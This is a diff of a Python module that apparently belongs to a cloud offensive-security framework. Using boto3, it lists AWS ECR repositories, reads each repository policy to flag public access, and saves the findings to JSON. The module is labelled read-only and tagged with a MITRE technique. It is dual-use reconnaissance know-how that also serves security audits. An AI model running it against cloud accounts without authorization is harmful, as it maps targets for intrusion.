3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import sys
|
|
8
|
+
from datetime import datetime, timezone
|
|
9
|
+
from typing import Any
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
MANIFEST = {
|
|
13
|
+
"capability_id": "cloudxpl.aws.ecr_enum.v1",
|
|
14
|
+
"safety_class": "READ_ONLY",
|
|
15
|
+
"requires_authorization": True,
|
|
16
|
+
"side_effects": [],
|
|
17
|
+
"output_schema": "xpl.finding.v1",
|
|
18
|
+
"mitre": ["T1525"],
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _save(args: Any, prefix: str, data: Any) -> str:
|
|
23
|
+
out = getattr(args, "output", ".")
|
|
24
|
+
os.makedirs(out, exist_ok=True)
|
|
25
|
+
ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
|
|
26
|
+
path = os.path.join(out, f"{prefix}_{ts}.json")
|
|
27
|
+
with open(path, "w") as fh:
|
|
28
|
+
json.dump(data, fh, indent=2, default=str)
|
|
29
|
+
print(f"[+] Results saved to {path}")
|
|
30
|
+
return path
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def run(args: Any) -> int:
|
|
34
|
+
|
|
35
|
+
print(f"[*] AWS ECR Enumeration (region: {args.region})")
|
|
36
|
+
try:
|
|
37
|
+
import boto3
|
|
38
|
+
except ImportError:
|
|
39
|
+
print("[!] boto3 not installed", file=sys.stderr); return 1
|
|
40
|
+
session = boto3.Session(profile_name=args.profile, region_name=args.region)
|
|
41
|
+
ecr = session.client("ecr")
|
|
42
|
+
results = {"repositories": [], "public_repos": []}
|
|
43
|
+
try:
|
|
44
|
+
paginator = ecr.get_paginator("describe_repositories")
|
|
45
|
+
for page in paginator.paginate():
|
|
46
|
+
for repo in page["repositories"]:
|
|
47
|
+
info = {"name": repo["repositoryName"], "uri": repo["repositoryUri"], "scan_on_push": repo.get("imageScanningConfiguration", {}).get("scanOnPush", False)}
|
|
48
|
+
try:
|
|
49
|
+
policy = ecr.get_repository_policy(repositoryName=repo["repositoryName"])
|
|
50
|
+
import json as _json
|
|
51
|
+
pol = _json.loads(policy["policyText"])
|
|
52
|
+
for stmt in pol.get("Statement", []):
|
|
53
|
+
if stmt.get("Principal") == "*":
|
|
54
|
+
info["public"] = True
|
|
55
|
+
results["public_repos"].append(repo["repositoryName"])
|
|
56
|
+
print(f" [!] {repo['repositoryName']}: PUBLIC access policy")
|
|
57
|
+
except Exception: pass
|
|
58
|
+
results["repositories"].append(info)
|
|
59
|
+
print(f" [+] {repo['repositoryName']} (scan: {info['scan_on_push']})")
|
|
60
|
+
except Exception as exc:
|
|
61
|
+
print(f"[-] ECR enum failed: {exc}"); return 1
|
|
62
|
+
_save(args, "aws_ecr_enum", results)
|
|
63
|
+
print(f"[+] {len(results['repositories'])} repos, {len(results['public_repos'])} public")
|
|
64
|
+
return 0
|